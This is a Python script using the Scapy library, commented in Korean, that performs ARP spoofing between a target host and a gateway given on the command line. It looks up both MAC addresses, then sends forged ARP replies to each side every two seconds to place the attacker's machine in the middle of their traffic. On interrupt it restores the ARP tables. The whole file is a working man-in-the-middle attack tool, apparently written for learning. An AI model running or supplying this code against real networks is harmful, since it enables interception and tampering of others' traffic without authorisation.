ARP_Spoof/arp_spoof_L3.py (3937B)
1 from scapy.all import * # Scapy 라이브러리에서 필요한 모든 기능을 import
2 import time # 시간 지연 기능을 위해 import
3 import sys # 시스템 인자와 종료를 처리하기 위해 import
4
5 def get_mac(ip):
6 """주어진 IP 주소에 대한 MAC 주소를 반환하는 함수"""
7 print(f"[*] {ip}에 대한 ARP 요청을 전송 중...")
8
9 # ARP 요청을 전송하여 MAC 주소를 검색 (L3 계층에서 동작)
10 # Ether(dst="ff:ff:ff:ff:ff:ff")는 브로드캐스트로 ARP 요청을 보냄
11 # ARP(pdst=ip)는 특정 IP 주소의 MAC 주소를 요청하는 ARP 패킷 생성
12 answered, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip), timeout=2, retry=10, verbose=False)
13
14 # 응답이 있으면 MAC 주소를 반환
15 for send, receive in answered:
16 return receive[Ether].src
17
18 # 응답이 없으면 None 반환
19 return None
20
21
22 def arp_spoof(target_ip, gateway_ip, target_mac, gateway_mac):
23 """타겟과 게이트웨이 사이에서 L3 계층에서 ARP 스푸핑을 수행하는 함수"""
24 print(f"[*] L3 ARP 스푸핑 시작: 타겟 {target_ip} <-> 게이트웨이 {gateway_ip}")
25
26 try:
27 while True:
28 # 타겟에게 자신의 IP 주소를 게이트웨이로 속이는 패킷 전송 (L3 계층)
29 # ARP 패킷에서 pdst는 타겟 IP, psrc는 게이트웨이 IP
30 send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip), verbose=False)
31 print(f"[+] 타겟 {target_ip}에게 위조된 ARP 패킷 전송")
32
33 # 게이트웨이에게 자신의 IP 주소를 타겟으로 속이는 패킷 전송 (L3 계층)
34 # ARP 패킷에서 pdst는 게이트웨이 IP, psrc는 타겟 IP
35 send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip), verbose=False)
36 print(f"[+] 게이트웨이 {gateway_ip}에게 위조된 ARP 패킷 전송")
37
38 time.sleep(2) # 2초마다 ARP 스푸핑 반복
39 except KeyboardInterrupt:
40 # Ctrl+C를 눌러 스푸핑을 중단하면, ARP 테이블 복구 함수를 호출
41 print("\n[*] 스푸핑 종료, ARP 테이블 복구 중...")
42 restore(target_ip, gateway_ip, target_mac, gateway_mac)
43
44
45 def restore(target_ip, gateway_ip, target_mac, gateway_mac):
46 """네트워크를 원래 상태로 복구하는 함수 (L3 계층)"""
47 # 타겟과 게이트웨이에게 정상적인 ARP 패킷을 전송하여 ARP 테이블 복구
48 # send()는 L3 계층에서 동작, pdst는 대상 IP, psrc는 출처 IP, hwsrc는 올바른 MAC 주소
49 send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=gateway_mac), count=3, verbose=False)
50 send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip, hwsrc=target_mac), count=3, verbose=False)
51 print("[*] ARP 테이블 복구 완료.")
52
53
54 if __name__ == "__main__":
55 # 명령행 인자가 부족할 경우 사용법 출력
56 if len(sys.argv) != 3:
57 print(f"사용법: {sys.argv[0]} <타겟 IP> <게이트웨이 IP>")
58 sys.exit(1)
59
60 # 타겟과 게이트웨이의 IP 주소를 명령행 인자로 받음
61 target_ip = sys.argv[1]
62 gateway_ip = sys.argv[2]
63
64 # 타겟과 게이트웨이의 MAC 주소를 얻기 위한 함수 호출
65 target_mac = get_mac(target_ip)
66 if target_mac is None:
67 print(f"[!] 타겟 {target_ip}의 MAC 주소를 찾을 수 없습니다.")
68 sys.exit(1)
69 print(f"[+] 타겟 {target_ip}의 MAC 주소: {target_mac}")
70
71 gateway_mac = get_mac(gateway_ip)
72 if gateway_mac is None:
73 print(f"[!] 게이트웨이 {gateway_ip}의 MAC 주소를 찾을 수 없습니다.")
74 sys.exit(1)
75 print(f"[+] 게이트웨이 {gateway_ip}의 MAC 주소: {gateway_mac}")
76
77 # MAC 주소를 알아낸 후 ARP 스푸핑 공격 시작
78 arp_spoof(target_ip, gateway_ip, target_mac, gateway_mac)